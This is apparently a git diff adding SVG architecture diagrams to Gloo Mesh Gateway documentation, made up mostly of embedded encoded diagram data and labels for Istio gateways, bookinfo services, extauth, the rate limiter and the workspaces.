ZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBni